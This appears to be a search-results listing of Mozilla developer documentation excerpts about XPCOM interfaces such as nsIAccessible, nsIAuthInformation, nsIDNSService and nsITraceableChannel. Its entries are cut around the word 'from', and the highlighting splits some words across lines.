from point nsiaccessible.getaccessibletoleft(), nsiaccessible.getaccessibletoright(), nsiaccessible.getaccessibleabove() or nsiaccessible.getaccessiblebelow() to get left, right, top or below placed accessible methods getkeybindings provides array of localized string of global keyboard accelerator for the given action index supported by accessible.
... extendselection this method extends the current selection
from its current accessible anchor node to this accessible.
nsIAccessibleProvider
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description accessible nsiaccessible read only.
...for example now it is used by <xul:i
frame>, <xul:browser> and <xul:editor>.
nsIAccessibleScrollType
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) constants constant value description scroll_type_top_left 0x00 scroll the top left of the object or substring to the top left of the window (or as close as possible).
... scroll_type_anywhere 0x06 scroll an object the minimum amount necessary in order for the entire
frame to be visible (if possible).
nsIAccessibleText
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void addselection(in long startoffset, in long endoffset); nsiaccessible getattributerange(in long offset, out long rangestartoffset, out long rangeendoffset); obsolete since gecko 1.9.1 wchar getcharacteratoffset(in long offset); void getcharacterextents(in long offset, out long x, out long y, out long width, out long height, in unsigned long coordtype); long getoffsetatpoint(in long x, in long y, in unsigned long coordtype); void getrangeextents(in long startoffset, in long endoffset, out long x, out long y, out long width, out long height, in unsigned long c...
...this accessible get return the dom node and layout
frame with the uniform attributes for this range of text.
nsIApplicationCacheChannel
1.0 66 introduced gecko 1.9.1 inherits
from: nsiapplicationcachecontainer last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void markofflinecacheentryasforeign(); attributes attribute type description chooseapplicationcache boolean when true, the channel will choose an application cache if one was not explicitly provided and none is available
from the notification callbacks.
... loaded
fromapplicationcache prbool true if the resource was loaded
from the application cache, otherwise false.
nsIApplicationUpdateService
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void adddownloadlistener(in nsirequestobserver listener); astring downloadupdate(in nsiupdate update, in boolean background); void pausedownload(); void removedownloadlistener(in nsirequestobserver listener); nsiupdate selectupdate([array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); attributes attribute type description backgroundchecke...
... selectupdate() selects the best update to install
from a provided list of available updates.
nsIAsyncInputStream
inherits
from: nsiinputstream last changed in gecko 1.7 if an input stream is non-blocking, it may return ns_base_stream_would_block when read.
...it is safe to call asyncwait again
from the notification handler.
nsIAuthInformation
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the caller of nsiauthprompt2.promptusernameandpassword() or nsiauthprompt2.promptpasswordasync() provides an object implementing this interface; the prompt implementation can then read the values here to prefill the dialog.
... previous_failed 16 we have already tried to log in for this channel (with auth values
from a previous promptauth call), but it failed, so we now ask the user to provide a new, correct login.
nsIAuthPromptCallback
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) callers must call exactly one method if nsiauthprompt2.asyncpromptauth() returns successfully.
...note: any exceptions thrown
from this method should be ignored.
nsIAuthPromptWrapper
persisting data
from the prompts and using it to pre-fill subsequent prompts would be one such action.
... last changed in gecko 1.7 inherits
from: nsiauthprompt method overview void setpromptdialogs(in nsiprompt dialogs); methods setpromptdialogs() this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts.
nsIAutoCompleteInput
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring getsearchat(in unsigned long index); void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontextreverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set, this will optionally try to complete the text ...
... completeselectedindex boolean if true, the text in the text field will be autocompleted as the user selects
from the popup list.
nsICacheService
66 introduced gecko 1.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead.
...as a result, devices excluded by the storage policy will not be searched when opening entries
from the returned session.
nsIChannelPolicy
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface exists to allow the content policy mechanism to function properly during channel redirects.
... channels can be created with this interface placed in the property bag and upon redirect, the interface can be transferred
from the old channel to the new channel.
nsIChromeRegistry
inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/chrome/chrome-registry;1 as a service: var chromeregistry = components.classes["@mozilla.org/chrome/chrome-registry;1"] .getservice(components.interfaces.nsichromeregistry); method overview void canonify(in nsiuri achromeurl); obsolete since gecko 1.8 void checkfornewchrome(); nsiuri convertchromeurl(in nsiuri achromeurl); boolean wrappersenabled(in nsiuri auri); violates the xpcom interface guidelines constants ...
... checkfornewchrome() re
freshes the chrome list at runtime, looking for new packages and so forth.
nsIClipboardDragDropHookList
inherits
from: nsisupports last changed in gecko 1.7 note: this interface is not intended for direct use by embedders; it is an implementation detail.
...removeclipboarddragdrophooks() this method removes a hook
from the list.
nsICommandLineHandler
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each command line handler is registered in the category "command-line-handler".
...if this handler finds arguments that it understands, it should perform the appropriate actions (such as opening a window), and remove the arguments
from the command-line array.
nsIConsoleMessage
xpcom/base/nsiconsolemessage.idlscriptable this interface is a base interface for messages passed to or
from the nsiconsoleservice.
... inherits
from: nsisupports last changed in gecko 1.7 implementations may provide an object that can be query interfaced, nsisupports.queryinterface(), to provide more specific message information.
nsIContentPrefObserver
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void oncontentpre
fremoved(in astring agroup, in astring aname); void oncontentprefset(in astring agroup, in astring aname, in nsivariant avalue); methods oncontentpre
fremoved() called when a content preference is removed.
... void oncontentpre
fremoved( in astring agroup, in astring aname ); parameters agroup the group to which the removed preference belonged; this may be the uri of a web site.
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiu...
... return value true if the
frame's ancestors are all permitted by policy.
nsIConverterInputStream
this allows reading unicode strings
from a stream, automatically converting the bytes
from a selected character encoding.
... 1.0 66 introduced gecko 1.8 inherits
from: nsiunicharinputstream last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/converter-input-stream;1.
nsICookieAcceptDialog
inherits
from: nsisupports last changed in gecko 1.7 constants constant value description accept_cookie 0 value for accepting a cookie object.
... cookies
fromhost 3 value for holding the cookie
from the host.
nsICookiePermission
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview nscookieaccess canaccess(in nsiuri auri, in nsichannel achannel); boolean cansetcookie(in nsiuri auri, in nsichannel achannel, in nsicookie2 acookie, inout boolean aissession, inout print64 aexpiry); nsiuri getoriginatinguri(in nsichannel achannel); void setaccess(in nsiuri auri, in nscookieaccess aaccess); constants constant value description access_default 0 nscookieaccess's access default value access_allow 1 nscookieaccess's access allow value access_deny 2 nscookieaccess's access deny value access_session 8 ad...
...these may be relocated somewhere else if we ever consider
freezing this interface.
nsIDNSListener
inherits
from: nsisupports last changed in gecko 1.7 method overview void onlookupcomplete(in nsicancelable arequest, in nsidnsrecord arecord, in nsresult astatus); methods onlookupcomplete() called when an asynchronous host lookup completes.
... void onlookupcomplete( in nsicancelable arequest, in nsidnsrecord arecord, in nsresult astatus ); parameters arequest the value returned
from asyncresolve.
nsIDNSService
inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/dns-service;1.
... to access the service, use: var dnsservice = components.classes["@mozilla.org/network/dns-service;1"] .createinstance(components.interfaces.nsidnsservice); note: starting in gecko 7.0, the "happy eyeballs" strategy is used to reduce lengthy timeouts when attempting backup connections during attempts to connect
from clients that have broken ipv6 connectivity.
nsIDOMChromeWindow
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void beginwindowmove(in nsidomevent mousedownevent); void getattention(); void getattentionwithcyclecount(in long acyclecount); void maximize(); void minimize(); void notifydefaultbuttonloaded(in nsidomelement defaultbutton); void restore(); void setcursor(in domstring cursor); attributes attribute type description browserdomwindow nsibrowserdomwindow the related nsibrowserdomwindow instance which provides access to yet another layer of utility functions by chrome script.
... messagemanager nsichrome
framemessagemanager read only.
nsIDOMFileReader
the nsidomfilereader interface provides a way to read data
from a file specified by an nsidomfile.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsisupports implemented by: @mozilla.org/files/filereader;1.
nsIDOMGeoPositionAddress
1.0 66 introduced gecko 1.9.2 obsolete gecko 14.0 inherits
from: nsisupports last changed in gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8) this object is obtained
from an nsidomgeopositionaddress object via its address attribute.
... historical note, which is likely of no interest to most readers: the types of the attributes below all changed
from string to domstring in gecko 1.9.2 beta 5.
nsIDOMNode
inherits
from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only.
... constants constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_
fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchild( in nsidomnode newchild ); parameters newchild return value clonenode() nsidomnode clonenode( in boolean deep ); parameters deep return value hasattributes() boolean hasattributes(); parameters none.
nsIDOMStorageManager
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications.
... all data owned by a domain with the "offline-app" permission is removed
from the database.
nsIDOMUserDataHandler
1.0 66 introduced gecko 1.5 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned.
...void handle( in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parameters operation one of the node_* operation type constants
from the above table.
nsIDOMXPathException
dom/interfaces/xpath/nsidomxpathexception.idlscriptable describes an exception resulting
from xpath operations.
... inherits
from: nsisupports last changed in gecko 1.7 attributes attribute type description code unsigned short the error code; see error codes for details.
nsIDOMXPathResult
dom/interfaces/xpath/nsidomxpathresult.idlscriptable this interface describes an xpath result returned by nsidomxpathevaluator or document.evaluate inherits
from: nsisupports last changed in gecko 1.7 method overview nsidomnode iteratenext(); nsidomnode snapshotitem(in unsigned long index); attributes attribute type description booleanvalue boolean if resulttype is boolean_type, the boolean value.
...snapshotitem() returns the specified node
from what is essentially an array of resulting dom nodes.
nsIDOMXULLabeledControlElement
inherits
from: nsidomxulcontrolelement last changed in gecko 1.7 attributes attribute type description accesskey domstring this should be set to a character that is used as a shortcut key.
...when the user presses the appropriate modifier and the access key, the element will be focused and/or activated
from anywhere in the window.
nsIDeviceMotionData
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nsidevicemotiondata prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... the values of x, y, and z can range
from -1 to 1, where 0 means the device is balanced on that axis.
nsIDialogParamBlock
inherits
from: nsisupports last changed in gecko 1.7 method overview print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports.
...use before setting any string (if you want to change it
from the default).
nsIDictionary
66 introduced gecko 1.0 obsolete gecko 1.9.1 inherits
from: nsisummary last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface was removed in firefox 3.5; use dict.jsm instead.
...clear() delete all key-value pairs
from the dictionary.
nsIDirIndexListener
netwerk/streamconv/public/nsidirindexlistener.idlscriptable this interface is used to receive contents of directory index listings
from a protocol.
... they can then be transformed into an output format (such as rdf, html and so on) inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onindexavailable(in nsirequest arequest, in nsisupports actxt, in nsidirindex aindex); void oninformationavailable(in nsirequest arequest, in nsisupports actxt, in astring ainfo); methods onindexavailable() called for each directory entry.
nsIDirectoryService
inherits
from: nsisupports last changed in gecko 1.7 method overview void init(); void registerprovider(in nsidirectoryserviceprovider prov); void unregisterprovider(in nsidirectoryserviceprovider prov); init() initializes the nsidirectoryservice instance.
...void unregisterprovider( in nsidirectoryserviceprovider prov ); parameters prov the nsidirectoryserviceprovider to unregister
from the service.
nsIDirectoryServiceProvider2
inherits
from: nsidirectoryserviceprovider last changed in gecko 0.9.6 method overview nsisimpleenumerator getfiles(in string prop); methods getfiles() the directory service calls this when it gets a request for a prop and the requested type is nsisimpleenumerator.
...if you are implementing this
from js, you would be using components.returncode, but sadly this does not currently work (see bug 287107).
nsIDocumentLoader
uriloader/base/nsidocumentloader.idlscriptable this interface responsible for tracking groups of loads that belong together (images, external scripts, and so on.) and subdocuments (i
frame,
frame, and so on.).
... inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/docloaderservice;1.
nsIDownloadHistory
there is a separate interface specifically for downloads in case embedders choose to track downloads differently
from other types of history.
... 1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void adddownload(in nsiuri asource, [optional] in nsiuri areferrer, [optional] in prtime astarttime); methods adddownload() adds a download to history.
nsIDownloader
the resulting file is valid
from the time the downloader completes until the last reference to the downloader is released.
... inherits
from: nsistreamlistener last changed in gecko 1.7 method overview void init(in nsidownloadobserver observer, in nsifile downloadlocation); methods init() initialize this downloader.
nsIEditorDocShell
docshell/base/nsieditordocshell.idlscriptable provides a way to get an editor
from a specific
frame in a docshell hierarchy.
... inherits
from: nsisupports last changed in gecko 1.7 use nsieditingsession.makewindoweditable() and nsieditingsession.geteditorforwindow()
from out side.
nsIEnvironment
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/process/environment;1 as a service: var env = components.classes["@mozilla.org/process/environment;1"].
...credit to morat
from mozillazine.
nsIEventListenerService
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/eventlistenerservice;1.
... removesystemeventlistener() remove a system-group eventlistener
from a event target.
nsIException
inherits
from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description columnnumber pruint32 valid column numbers begin at 0.
... location nsistack
frame a stack trace, if available.
nsIExternalURLHandlerService
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsihandlerinfo geturlhandlerinfo
fromos(in nsiuri aurl, out boolean afound); methods geturlhandlerinfo
fromos() given a url, looks up the handler info
from the operating system.
...nsihandlerinfo geturlhandlerinfo
fromos( in nsiuri aurl, out boolean afound ); parameters aurl the url we are looking for.
nsIFeed
1.0 66 introduced gecko 1.8 inherits
from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed.
...the hours are represented as integer values
from 0 (midnight) to 23 (11:00 pm), and are always indicated using utc.
nsIFeedElementBase
toolkit/components/feeds/public/nsifeedelementbase.idlscriptable this interface is a base interface
from which several of the other feed access interfaces derive.
... 1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description attributes nsisaxattributes all the attributes found on the element.
nsIFeedResult
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registerextensionprefix(in astring anamespace, in astring aprefix); attributes attribute type description bozo boolean the feed processor sets the bozo bit when a feed triggers a fatal error during xml parsing.
... uri nsiuri the address
from which the feed was fetched.
nsIFeedResultListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable this interface should be implemented by programs to receive events
from the feed parser as parsing progresses.
... 1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleresult(in nsifeedresult result); methods handleresult() called when feed processing is complete.
nsIGlobalHistory2
it was split off
from nsiglobalhistory during the transition to toolkit interfaces.
... inherits
from: nsisupports last changed in gecko 1.7 this interface replaces and deprecates nsiglobalhistory method overview void adduri(in nsiuri auri, in boolean aredirect, in boolean atoplevel, in nsiuri areferrer); boolean isvisited(in nsiuri auri); void setpagetitle(in nsiuri auri, in astring atitle); methods adduri() add a uri to global history.
nsIHttpUpgradeListener
1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this is used, for example, by websockets in order to upgrade an http channel to use the websocket protocol.
... asocketin the nsiasyncinputstream object representing the input stream for data coming
from the server over the socket connection.
nsIINIParserWriter
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) this interface provides methods that allow writing to ini-format configuration files.
...on windows only, this flag to writefile() can be used to change the encoding
from its default utf-8.
nsIIdleService
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) you can get the idle time directly, but in most cases you will want to register an observer for a predefined interval.
... methods addidleobserver() add an observer to be notified when the user idles for some period of time, and when they get back
from that.
nsIInterfaceRequestor
inherits
from: nsisupports last changed in gecko 0.9.5 this is similar to nsisupports.queryinterface().
...nsiinterfacerequestor, however, allows you to obtain an interface c
from a that may (or most likely) will not have the ability to get back to a.
nsIMemoryMultiReporter
1.0 66 introduced gecko 7.0 inherits
from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you want to gather multiple measurements in a single operation (such as a single traversal of a large data structure), you can use a multi-reporter to do so.
... note: this differs
from the behavior of nsimemoryreporter, which lets all fields except amount be accessed without triggering computation.
nsIMemoryMultiReporterCallback
xpcom/base/nsimemoryreporter.idlscriptable implement this interface to handle callbacks
from nsimemorymultireporter instances.
... 1.0 66 introduced gecko 7.0 inherits
from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void callback(in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure); methods callback() called to provide information
from a multi-reporter.
nsIMimeConverter
inherits
from: nsisupports implemented by: @mozilla.org/messenger/mimeconverter;1.
... structured whether or not this string may contain <> blocks which should not be encoded (e.g., the
from and to headers).
nsIMsgAccount
inherits
from: nsisupports last changed in gecko 1.7 method overview void addidentity(in nsimsgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsimsgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsimsgidentity identities nsisupportsarray read only.
...exceptions thrown ns_error_already_opened if it is called more then once removeidentity() removes an identity
from this account.
nsIMsgDBViewCommandUpdater
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
... updatenextmessageafterdelete() allows the backend to tell the
front end to re-determine which message we should select after a delete or move void updatenextmessageafterdelete(); parameters none.
nsIMsgSearchSession
searchsession.addscopeterm(components.interfaces.nsmsgsearchscope.offlinemail, afolder); var searchterm = searchsession.createterm(); var value = searchterm.value; value.str = avalue; searchterm.value = value; searchterm.op = searchsession.booleanor; searchterm.booleanand = false; searchsession.appendterm(searchterm); searchsession.search(null); inherits
from: nsisupports method overview void addsearchterm(in nsmsgsearchattribvalue attrib, in nsmsgsearchopvalue op, in nsimsgsearchvalue value, in boolean booleanand, in string arbitraryheader); nsimsgsearchterm createterm(); void appendterm(in nsimsgsearchterm term); void registerlistener(in nsimsgsearchnotify listener); void unregisterlistener(in nsimsgs...
... void registerlistener(in nsimsgsearchnotify listener); parameters listener unregisterlistener() removes a listener
from the search session.
nsIMsgSendLater
inherits
from: nsistreamlistener implemented by: @mozilla.org/messengercompose/sendlater;1.
... void sendunsentmessages(in nsimsgidentity identity) parameters identity the nsimsgidentity to send unsent messages for removelistener() remove an event listener
from this nsisendmsglater instance void removelistener(in nsimsgsendlaterlistener listener); parameters listener the nsimsgsendlaterlistener to remove.
nsIMsgWindow
inherits
from: nsisupports last changed in gecko 8 (firefox 8 / thunderbird 8 / seamonkey 2.5) implemented by: @mozilla.org/messenger/msgwindow;1.
... void stopurls(); closewindow() when the msg window is being unloaded
from the content window, this notification can be used to force a flush on anything the message window hangs on.
nsINavHistoryFullVisitResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable this interface describes a result
from a result_type_full_visit query on the places service.
... 1.0 66 introduced gecko 1.9 inherits
from: nsinavhistoryvisitresultnode last changed in gecko 1.9 (firefox 3) the information returned in this interface is not commonly used, hence its separation into a separate query type for efficiency.
nsINavHistoryQueryResultNode
1.0 66 introduced gecko 1.8 inherits
from: nsinavhistorycontainerresultnode last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: if you request that places not be expanded in the options that generated the node, the node will report that it has no children and will never try to populate itself.
... void getqueries( out unsigned long querycount, optional
from gecko 2.0 [retval,array,size_is(querycount)] out nsinavhistoryquery queries ); parameters querycount optional
from gecko 2.0 the number of queries in the queries array.
nsIPermission
the nsipermission interface defines a "permission" object, which is used to allow or block objects (for example cookies, images)
from certain sites based on user preferences.
... last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits
from: nsisupports attributes attribute type description capability pruint32 the permission to set: allow, deny, or unknown (which is the default).
nsIPrefBranch2
the nsprefbranch object listens for xpcom-shutdown and
frees all of the objects currently in its observer list.
... this ensures that long lived objects (services for example) will be
freed correctly.
nsIPrefLocalizedString
modules/libpref/public/nsipreflocalizedstring.idlscriptable this interface is simply a wrapper interface for nsisupportsstring so the preferences service can have a unique identifier to distinguish between requests for normal wide strings nsisupportsstring) and 'localized' wide strings, which get their default values
from properites files.
... inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setdatawithlength(in unsigned long length, [size_is(length)] in wstring data); wstring tostring(); attributes attribute type description data wstring provides access to string data stored in this property.
nsIProcessScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsisupports this interface is used by parent process message managers to load scripts into a child process.
... removedelayedprocessscript() removes aurl
from the list of scripts which support delayed load.
nsIPrompt
inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface is identical to nsipromptservice but without the parent nsidomwindow parameter.
...if you are using this interface, you must remove the nsidomwindow arguments
from those methods.
nsIResumableChannel
inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void asyncopenat(in nsistreamlistener listener, in nsisupports ctxt, in unsigned long startpos, in nsiresumableentityid entityid); obsolete since gecko 1.8 void resumeat(in unsigned long long startpos, in acstring entityid); attributes attribute type description entityid acstring the entity id for this uri.
...this error may occur even if startpos is 0, so that the
front end can warn the user.
nsIScreen
inherits
from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) use nsiscreenmanager to obtain references to screens.
... lockminimumbrightness() locks the minimum brightness of the screen, preventing it
from becoming any dimmer than that brightness level.
nsIScriptError2
1.0 66 introduced gecko 2.0 obsolete gecko 12.0 inherits
from: nsiscripterror last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) in gecko 12.0 this interface was merged into the nsiscripterror interface.
... timestamp long long elapsed time, in milliseconds,
from a platform-specific zero time to the time the message was created.
nsISearchEngine
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine.
... hidden boolean whether the engine should be hidden
from the user.
nsISelectionController
inherits
from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void characterextendforbackspace(); native code only!
...intralinemove() will move the selection to the
front of the line or end of the line in the document.
nsISessionStartup
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/browser/sessionstartup;1.
... constants session type constants constant value description no_session 0 there's no data available
from the previous session.
nsISmsDatabaseService
nsismsdatabaseservice dom/sms/interfaces/nsismsdatabaseservice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits
from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1.
... createmessagelist() void createmessagelist( in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid ); parameters filter a smsfilter to filter out sms messages
from a list.
nsITXTToHTMLConv
netwerk/streamconv/public/nsitxttohtmlconv.idlscriptable this interface allows you to modify the conversion
from plain text to html.
... inherits
from: nsistreamconverter last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by "@mozilla.org/streamconv;1?
from=text/plain&to=text/html".
nsITaskbarTabPreview
1.0 66 introduced gecko 1.9.2 inherits
from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab preview support is disabled by default in gecko 1.9.2 creating an nsitaskbartabpreview for a window will automatically hide that window's nsitaskbarwindowpreview; this is done by windows and cannot be prevented.
... move() relocates the preview relative to another tab preview
from the same window.
nsITextInputProcessorNotification
dom/interfaces/base/nsitextinputprocessorcallback.idlscriptable this interface of a request or notification to ime 1.0 66 introduced gecko 38 inherits
from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface tells details of a request or notification to ime.
... this is typically notified when the editor is being removed
from the dom tree during composition.
nsIThreadInternal
last changed in gecko 1.9 (firefox 3) inherits
from: nsithread method overview void popeventqueue(); void pusheventqueue(in nsithreadeventfilter filter); attributes attribute type description observer nsithreadobserver get/set the current thread observer; set to null to disable observing.
... this attribute may be read
from any thread but must only be set on the thread corresponding to this thread object.
nsIThreadObserver
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview void afterprocessnextevent(in nsithreadinternal thread, in unsigned long recursiondepth); void ondispatchedevent(in nsithreadinternal thread); void onprocessnextevent(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnextevent() called by the nsithread method nsithread.processnextevent() after an event is processed.
...this method may be called
from any thread.
nsITraceableChannel
1.0 66 introduced gecko 1.9.0.4 inherits
from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
...holds chunks as they come, onstoprequest we join these junks to get the full source this.responsebody; // we'll set this to the this.responsestatuscode; this.deferreddone = { promise: null, resolve: null, reject: null }; this.deferreddone.promise = new promise(function(resolve, reject) { this.resolve = resolve; this.reject = reject; }.bind(this.deferreddone)); object.
